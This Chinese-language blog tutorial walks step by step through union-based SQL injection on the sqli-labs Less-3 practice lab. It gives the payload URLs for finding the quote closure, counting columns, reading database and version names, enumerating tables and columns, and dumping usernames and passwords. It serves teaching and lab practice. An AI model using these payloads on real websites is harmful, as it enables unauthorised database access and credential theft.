SQL注入案例

1. 首先构造闭合,只有闭合成功之后才能实现后面的sql语句

  • 进行检测
依次以下方式进行检测,使用
http://192.168.1.129/sqli-labs-master/Less-3/?id=1 and 1=2--+
http://192.168.1.129/sqli-labs-master/Less-3/?id=1’ and 1=2--+
http://192.168.1.129/sqli-labs-master/Less-3/?id=1“ and 1=2--+
http://192.168.1.129/sqli-labs-master/Less-3/?id=1 ‘) and 1=2--+
......等等
  • 若出现下图则是检测闭合错误,即不对
    在这里插入图片描述
  • 发现只有当输入
http://192.168.1.129/sqli-labs-master/Less-3/?id=1 ‘) and 1=2--+
  • 出现下图,则判断正确闭合为 ')
    在这里插入图片描述

2. 然后使用order by 函数来查看有多少列,具体使用如下(建议使用二分法)

http://192.168.1.129/sqli-labs-master/Less-3/id=1 ') order by 10 --+
  • 发现小于10列,接下来测5列
    在这里插入图片描述
http://192.168.1.129/sqli-labs-master/Less-3/id=1 ') order by 5 --+
  • 发现小于5列,接下来测试3列
    在这里插入图片描述
http://192.168.1.129/sqli-labs-master/Less-3/id=1 ') order by 3 --+
  • 发现3列的时候显示正确了,所以可以判断可能大于等于3列,接下来判断4列
    在这里插入图片描述
http://192.168.1.129/sqli-labs-master/Less-3/id=1 ') order by 4 --+
  • 经检测发现4列不正确,小于4列,所以最终可以得知为3列
    在这里插入图片描述

3. 接下来查看显示位是哪几位,使用union联合查询,先将id改为-1,这样才能使union后的sql语句执行显示出结果。

  • 如图可知,显示位是2,3
http://192.168.1.129/sqli-labs-master/Less-3/?id=-1') union all select 1,2,3 --+

在这里插入图片描述

4. 使用databa()函数和version()函数查看库名和版本号

http://192.168.1.129/sqli-labs-master/Less-3/?id=-') union all select 1,database(),version() --+

在这里插入图片描述

5. 由步骤4可知库名为security,再根据库名输出该库的所有表名

http://192.168.1.129/sqli-labs-master/Less-3/?id=-1') union all select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='security' --+

在这里插入图片描述

6. 由步骤4,5可知库名为security,表名有users,Emails等等。我们可以尝试查询users表的列名

http://192.168.1.129/sqli-labs-master/Less-3/?id=-1') union all select 1,group_concat(table_name),group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+

在这里插入图片描述

7. 根据库名security和表名users可以得知users中的列有password,username ,id这些列名,我们就可以根据这些列名查找到我们想要的信息

http://192.168.1.129/sqli-labs-master/Less-3/?id=-1') union all select 1,group_concat(username),group_concat(password) from users--+

在这里插入图片描述

8. 最后查找到users的用户名和密码如上图所示(即sql注入完成)


版权声明:本文为heibaikong6原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。